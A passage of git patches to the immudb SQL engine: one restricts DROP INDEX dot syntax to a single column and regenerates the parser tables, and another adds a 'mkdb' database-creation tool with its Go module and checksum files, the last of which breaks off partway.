+ case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 149: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 150: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 151: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 152: + case 153: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 153: + case 154: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From 5ee43ebf62f9662b8c8c3e15b1195350c4111239 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 12 Oct 2023 12:32:58 +0200 Subject: [PATCH 0856/1062] restricted drop index syntax with dot notation to single column --- embedded/sql/sql_grammar.y | 4 +- embedded/sql/sql_parser.go | 168 ++++++++++++++++++------------------- 2 files changed, 86 insertions(+), 86 deletions(-) diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 86ae5ffad1..e13ded5b3c 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -231,9 +231,9 @@ ddlstmt: $$ = &DropIndexStmt{table: $4, cols: $6} } | - DROP INDEX IDENTIFIER DOT ids + DROP INDEX IDENTIFIER DOT IDENTIFIER { - $$ = &DropIndexStmt{table: $3, cols: $5} + $$ = &DropIndexStmt{table: $3, cols: []string{$5}} } | ALTER TABLE IDENTIFIER ADD COLUMN colSpec diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index d2754d198e..1dd244420e 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -260,91 +260,91 @@ const yyLast = 403 var yyAct = [...]int16{ 79, 318, 66, 197, 115, 227, 152, 253, 257, 94, - 158, 144, 187, 233, 107, 252, 6, 188, 48, 110, - 169, 85, 19, 289, 244, 191, 243, 221, 191, 191, - 300, 191, 191, 294, 293, 274, 272, 245, 82, 222, - 196, 84, 290, 284, 275, 97, 93, 258, 95, 96, - 162, 273, 238, 98, 220, 88, 89, 90, 91, 92, - 67, 65, 218, 210, 259, 83, 209, 160, 133, 195, - 87, 254, 119, 217, 214, 142, 171, 112, 143, 126, - 142, 141, 139, 137, 138, 121, 118, 106, 140, 127, - 128, 130, 129, 82, 105, 21, 84, 317, 278, 311, - 97, 93, 108, 95, 96, 277, 68, 221, 98, 154, - 88, 89, 90, 91, 92, 67, 133, 150, 151, 165, - 83, 166, 211, 161, 155, 87, 133, 191, 173, 174, - 175, 176, 177, 178, 131, 132, 163, 114, 156, 130, - 129, 119, 186, 189, 101, 68, 271, 127, 128, 130, - 129, 133, 67, 249, 185, 190, 184, 68, 202, 131, - 132, 277, 200, 219, 67, 203, 207, 192, 208, 77, - 63, 133, 127, 128, 130, 129, 201, 205, 204, 131, - 132, 270, 216, 213, 28, 29, 240, 117, 212, 133, - 183, 53, 127, 128, 130, 129, 68, 145, 132, 229, - 265, 251, 223, 111, 231, 116, 194, 193, 170, 237, - 127, 128, 130, 129, 172, 167, 164, 122, 189, 100, - 71, 99, 250, 69, 37, 55, 246, 52, 47, 256, - 157, 236, 241, 170, 247, 248, 287, 260, 288, 215, - 136, 133, 255, 264, 54, 124, 125, 261, 262, 135, - 27, 269, 180, 120, 181, 189, 43, 182, 268, 179, - 70, 61, 38, 319, 320, 303, 228, 279, 198, 310, - 297, 280, 282, 161, 283, 285, 108, 78, 42, 296, + 158, 149, 187, 233, 107, 252, 6, 188, 169, 48, + 85, 110, 289, 244, 195, 243, 221, 195, 19, 195, + 195, 195, 294, 300, 274, 272, 293, 245, 222, 196, + 290, 258, 284, 275, 82, 273, 238, 84, 220, 78, + 162, 97, 93, 218, 95, 96, 210, 209, 259, 98, + 65, 88, 89, 90, 91, 92, 67, 160, 133, 194, + 119, 83, 254, 217, 214, 142, 87, 112, 142, 126, + 171, 143, 141, 137, 138, 139, 121, 118, 140, 127, + 128, 130, 129, 82, 106, 21, 84, 105, 108, 317, + 97, 93, 311, 95, 96, 277, 68, 278, 98, 154, + 88, 89, 90, 91, 92, 67, 119, 133, 151, 165, + 83, 166, 133, 161, 155, 87, 132, 221, 173, 174, + 175, 176, 177, 178, 156, 163, 211, 68, 127, 128, + 130, 129, 186, 189, 67, 130, 129, 68, 195, 114, + 63, 101, 133, 271, 67, 190, 184, 270, 202, 249, + 131, 132, 200, 133, 191, 203, 207, 240, 208, 77, + 277, 131, 132, 127, 128, 130, 129, 205, 201, 204, + 185, 219, 216, 213, 127, 128, 130, 129, 117, 133, + 28, 29, 212, 183, 68, 150, 53, 131, 132, 229, + 265, 251, 225, 111, 231, 193, 116, 192, 170, 237, + 127, 128, 130, 129, 170, 172, 167, 164, 189, 144, + 122, 99, 250, 100, 71, 69, 246, 37, 55, 256, + 241, 52, 47, 157, 247, 248, 236, 260, 288, 215, + 120, 287, 255, 264, 136, 124, 125, 261, 262, 54, + 269, 180, 133, 135, 43, 189, 27, 268, 179, 181, + 70, 61, 182, 38, 319, 320, 303, 279, 228, 198, + 310, 280, 297, 161, 283, 285, 282, 42, 108, 296, 263, 113, 35, 206, 40, 291, 19, 308, 301, 299, - 298, 292, 59, 226, 225, 34, 33, 304, 22, 266, - 306, 148, 147, 44, 45, 146, 309, 224, 312, 104, - 307, 230, 123, 315, 316, 313, 19, 72, 199, 46, - 321, 82, 32, 322, 84, 73, 102, 103, 97, 93, - 2, 95, 96, 10, 12, 11, 98, 239, 88, 89, - 90, 91, 92, 67, 23, 159, 153, 30, 83, 31, - 13, 20, 41, 87, 24, 26, 25, 7, 276, 8, - 9, 14, 15, 36, 109, 16, 17, 76, 75, 50, - 51, 19, 134, 267, 286, 302, 314, 242, 281, 56, - 57, 58, 81, 80, 295, 235, 234, 232, 74, 49, - 60, 39, 64, 62, 86, 305, 149, 168, 18, 5, + 298, 292, 59, 226, 224, 34, 33, 304, 22, 266, + 306, 147, 44, 45, 146, 145, 309, 223, 312, 307, + 230, 123, 72, 315, 316, 313, 19, 199, 82, 2, + 321, 84, 46, 322, 73, 97, 93, 32, 95, 96, + 10, 12, 11, 98, 104, 88, 89, 90, 91, 92, + 67, 41, 159, 239, 30, 83, 31, 13, 76, 75, + 87, 102, 103, 153, 7, 23, 8, 9, 14, 15, + 36, 20, 16, 17, 276, 24, 26, 25, 19, 50, + 51, 109, 134, 267, 286, 302, 56, 57, 58, 314, + 242, 281, 81, 80, 295, 235, 234, 232, 74, 49, + 60, 39, 64, 62, 86, 305, 148, 168, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 329, -1000, -1000, 6, -1000, -1000, -1000, 269, -1000, -1000, - 337, 177, 330, 305, 262, 261, 238, 151, 206, 241, - -1000, 329, -1000, 196, 196, 196, 300, -1000, 155, 359, - 154, 171, 152, 151, 151, 151, 254, -1000, 204, 84, - -1000, -1000, 150, 202, 147, 297, 196, -1000, -1000, 355, - 263, 263, -1000, 146, 62, 304, 4, -3, 229, 130, - 244, -1000, 237, -1000, 54, 132, -1000, -4, 59, -1000, - 192, -5, 144, 292, -1000, 263, 263, -1000, 35, 88, - 182, -1000, 35, 35, -8, -1000, -1000, 35, -1000, -1000, - -1000, -1000, -1000, -9, -1000, -1000, -1000, -1000, -10, -1000, - -12, 124, 280, 277, 276, 124, 124, 340, 35, 55, - -1000, 158, -1000, -23, 72, -1000, -1000, 143, 33, 142, - -1000, 135, -14, 141, -1000, -1000, 88, 35, 35, 35, - 35, 35, 35, 194, 195, 116, -1000, 126, 53, 244, - 63, 35, 35, 124, 44, -1000, 135, 134, 133, -22, - 44, -51, 218, 299, 88, 340, 130, 35, 340, 359, - 274, 132, -15, 132, -1000, -25, -28, -1000, 39, -1000, - 114, 124, -16, 53, 53, 178, 178, 126, 5, -1000, - 174, 35, -17, -1000, -29, -1000, 108, -37, 24, 88, - -52, 129, -1000, 283, -1000, 259, 258, 215, 35, 291, - 218, -1000, 88, 161, 132, -39, 322, -1000, -1000, -1000, - -1000, 160, -66, -54, 124, -1000, 126, -20, -1000, 79, - -1000, 35, -1000, -1000, 128, -19, -19, -1000, 35, 88, - -26, 215, 229, -1000, 161, 235, -1000, -1000, 132, 127, - 272, -1000, 193, 106, 71, -1000, -55, -40, -56, -47, - 88, -1000, 78, -1000, 35, 22, 88, -1000, -1000, 124, - -1000, 224, -1000, -23, -1000, -48, -26, 172, -1000, 173, - -70, -49, -1000, -1000, -1000, -1000, -1000, -19, 252, -57, - -58, 233, 221, 340, 132, -61, -1000, -1000, -1000, -1000, - -1000, -1000, 248, -1000, -1000, 213, 35, 123, 290, -1000, - -1000, 246, 218, 220, 88, 16, -1000, 35, -1000, 215, - 123, 123, 88, -1000, 14, 210, -1000, 123, -1000, -1000, - -1000, 210, -1000, + 326, -1000, -1000, 6, -1000, -1000, -1000, 269, -1000, -1000, + 348, 183, 327, 310, 262, 261, 238, 154, 207, 241, + -1000, 326, -1000, 194, 194, 194, 303, -1000, 159, 359, + 158, 176, 155, 154, 154, 154, 254, -1000, 204, 64, + -1000, -1000, 152, 202, 151, 292, 194, -1000, -1000, 336, + 35, 35, -1000, 150, 69, 329, 7, 4, 231, 130, + 244, -1000, 237, -1000, 66, 133, -1000, -3, 34, -1000, + 179, -4, 147, 291, -1000, 35, 35, -1000, 260, 100, + 186, -1000, 260, 260, -5, -1000, -1000, 260, -1000, -1000, + -1000, -1000, -1000, -8, -1000, -1000, -1000, -1000, -12, -1000, + -9, 146, 280, 279, 276, 122, 122, 347, 260, 51, + -1000, 161, -1000, -23, 74, -1000, -1000, 144, 33, 143, + -1000, 135, -10, 142, -1000, -1000, 100, 260, 260, 260, + 260, 260, 260, 193, 200, 119, -1000, 54, 59, 244, + 89, 260, 260, 122, -1000, 135, 134, 132, -22, 65, + -1000, -52, 219, 298, 100, 347, 130, 260, 347, 359, + 274, 133, -15, 133, -1000, -34, -35, -1000, 53, -1000, + 118, 122, -16, 59, 59, 189, 189, 54, 5, -1000, + 174, 260, -17, -1000, -38, -1000, 126, -43, 44, 100, + -53, -1000, 283, -1000, 259, 129, 258, 217, 260, 290, + 219, -1000, 100, 166, 133, -45, 328, -1000, -1000, -1000, + -1000, 141, -67, -54, 122, -1000, 54, -14, -1000, 85, + -1000, 260, -1000, 128, -18, -1000, -18, -1000, 260, 100, + -32, 217, 231, -1000, 166, 235, -1000, -1000, 133, 127, + 272, -1000, 192, 82, 78, -1000, -56, -46, -57, -48, + 100, -1000, 87, -1000, 260, 22, 100, -1000, -1000, 122, + -1000, 228, -1000, -23, -1000, -49, -32, 177, -1000, 173, + -71, -51, -1000, -1000, -1000, -1000, -1000, -18, 252, -55, + -59, 233, 223, 347, 133, -58, -1000, -1000, -1000, -1000, + -1000, -1000, 248, -1000, -1000, 214, 260, 121, 289, -1000, + -1000, 246, 219, 221, 100, 19, -1000, 260, -1000, 217, + 121, 121, 100, -1000, 16, 211, -1000, 121, -1000, -1000, + -1000, 211, -1000, } var yyPgo = [...]int16{ - 0, 402, 330, 401, 400, 399, 16, 398, 397, 20, + 0, 402, 319, 401, 400, 399, 16, 398, 397, 18, 11, 8, 396, 395, 15, 7, 17, 12, 394, 9, - 21, 393, 392, 2, 391, 390, 10, 345, 18, 389, + 20, 393, 392, 2, 391, 390, 10, 342, 19, 389, 388, 169, 387, 13, 386, 385, 0, 14, 384, 383, - 382, 378, 3, 5, 377, 4, 376, 375, 1, 6, - 278, 374, 373, 372, 19, 364, 358, 351, + 382, 381, 3, 5, 380, 4, 379, 375, 1, 6, + 277, 374, 373, 372, 21, 371, 364, 361, } var yyR1 = [...]int8{ @@ -400,15 +400,15 @@ var yyChk = [...]int16{ -54, 73, -6, 44, 83, -45, 73, 55, 90, 82, 61, 90, 73, 20, -31, -31, -36, 84, 85, 87, 86, 71, 72, 63, -53, 67, 58, -36, -36, 90, - -36, 90, 90, 90, -10, 73, 25, 25, 25, -12, - -10, -10, -49, 6, -36, -37, 83, 72, -26, -27, + -36, 90, 90, 90, 73, 25, 25, 25, -12, -10, + 73, -10, -49, 6, -36, -37, 83, 72, -26, -27, 90, -19, 73, -20, 73, 86, -23, 73, -8, -9, 73, 90, 73, -36, -36, -36, -36, -36, -36, 65, 58, 59, 62, 74, -6, 91, -36, -17, -16, -36, - -10, 83, -9, 73, 73, 91, 91, -42, 50, 19, + -10, -9, 73, 73, 91, 83, 91, -42, 50, 19, -49, -54, -36, -49, -28, -6, 9, -45, -45, 91, 91, 83, 74, -10, 90, 65, -36, 90, 91, 55, - 91, 83, 91, 73, 24, 35, 35, -43, 51, -36, + 91, 83, 91, 24, 35, 73, 35, -43, 51, -36, 20, -42, -32, -33, -34, -35, 70, -45, 91, 15, 26, -9, -44, 92, 90, 91, -10, -6, -16, 74, -36, 73, -14, -15, 90, -14, -36, -11, 73, 90, @@ -436,15 +436,15 @@ var yyDef = [...]int16{ 36, 0, 75, 0, 0, 83, 131, 0, 0, 0, 27, 0, 0, 0, 100, 101, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 146, 135, 136, 0, - 0, 0, 48, 0, 22, 44, 0, 0, 0, 0, - 40, 0, 117, 0, 112, 123, 0, 0, 123, 96, + 0, 0, 48, 0, 22, 0, 0, 0, 0, 40, + 44, 0, 117, 0, 112, 123, 0, 0, 123, 96, 0, 130, 94, 130, 132, 0, 0, 89, 0, 63, 0, 0, 0, 147, 148, 149, 150, 151, 152, 153, 0, 0, 0, 144, 0, 143, 0, 0, 49, 50, - 0, 0, 23, 0, 25, 0, 0, 119, 0, 0, + 0, 23, 0, 25, 0, 0, 0, 119, 0, 0, 117, 37, 38, -2, 130, 0, 0, 92, 84, 86, 87, 0, 66, 0, 0, 154, 137, 0, 138, 0, - 62, 0, 21, 45, 0, 0, 0, 32, 0, 118, + 62, 0, 21, 0, 0, 45, 0, 32, 0, 118, 0, 119, 111, 105, -2, 0, 110, 90, 130, 0, 0, 64, 71, 0, 0, 19, 0, 0, 0, 0, 51, 24, 34, 41, 48, 31, 120, 124, 28, 0, @@ -909,7 +909,7 @@ yydefault: case 22: yyDollar = yyS[yypt-5 : yypt+1] { - yyVAL.stmt = &DropIndexStmt{table: yyDollar[3].id, cols: yyDollar[5].ids} + yyVAL.stmt = &DropIndexStmt{table: yyDollar[3].id, cols: []string{yyDollar[5].id}} } case 23: yyDollar = yyS[yypt-6 : yypt+1] From 325a24771b84e39be202a4e0bb6ea6f555eaa390 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 13 Oct 2023 09:50:33 +0200 Subject: [PATCH 0857/1062] feature: tool for creating database with parameters --- tools/mkdb/.gitignore | 1 + tools/mkdb/go.mod | 53 ++++ tools/mkdb/go.sum | 636 ++++++++++++++++++++++++++++++++++++++++++ tools/mkdb/main.go | 112 ++++++++ 4 files changed, 802 insertions(+) create mode 100644 tools/mkdb/.gitignore create mode 100644 tools/mkdb/go.mod create mode 100644 tools/mkdb/go.sum create mode 100644 tools/mkdb/main.go diff --git a/tools/mkdb/.gitignore b/tools/mkdb/.gitignore new file mode 100644 index 0000000000..3e87bb412f --- /dev/null +++ b/tools/mkdb/.gitignore @@ -0,0 +1 @@ +mkdb diff --git a/tools/mkdb/go.mod b/tools/mkdb/go.mod new file mode 100644 index 0000000000..df57b6912d --- /dev/null +++ b/tools/mkdb/go.mod @@ -0,0 +1,53 @@ +module github.com/codenotary/immudb/tools/mkdb + +go 1.20 + +require github.com/codenotary/immudb v1.5.0 + +require ( + github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect + github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect + github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect + github.com/fsnotify/fsnotify v1.6.0 // indirect + github.com/golang/protobuf v1.5.3 // indirect + github.com/google/uuid v1.3.1 // indirect + github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 // indirect + github.com/grpc-ecosystem/grpc-gateway v1.16.0 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.0.1 // indirect + github.com/magiconair/properties v1.8.7 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect + github.com/mitchellh/mapstructure v1.5.0 // indirect + github.com/o1egl/paseto v1.0.0 // indirect + github.com/pelletier/go-toml/v2 v2.0.6 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/prometheus/client_golang v1.12.2 // indirect + github.com/prometheus/client_model v0.2.0 // indirect + github.com/prometheus/common v0.32.1 // indirect + github.com/prometheus/procfs v0.7.3 // indirect + github.com/rogpeppe/go-internal v1.9.0 // indirect + github.com/rs/xid v1.5.0 // indirect + github.com/spf13/afero v1.9.3 // indirect + github.com/spf13/cast v1.5.0 // indirect + github.com/spf13/cobra v1.6.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/spf13/pflag v1.0.5 // indirect + github.com/spf13/viper v1.15.0 // indirect + github.com/subosito/gotenv v1.4.2 // indirect + golang.org/x/crypto v0.14.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.13.0 // indirect + golang.org/x/term v0.13.0 // indirect + golang.org/x/text v0.13.0 // indirect + google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect + google.golang.org/grpc v1.57.0 // indirect + google.golang.org/protobuf v1.31.0 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) + +replace github.com/codenotary/immudb => ../.. diff --git a/tools/mkdb/go.sum b/tools/mkdb/go.sum new file mode 100644 index 0000000000..265e3af59d --- /dev/null +++ b/tools/mkdb/go.sum @@ -0,0 +1,636 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.44.3/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.75.0/go.mod h1:VGuuCn7PG0dwsd5XPVm2Mm3wlh3EL55/79EKB6hlPTY= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= +github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod 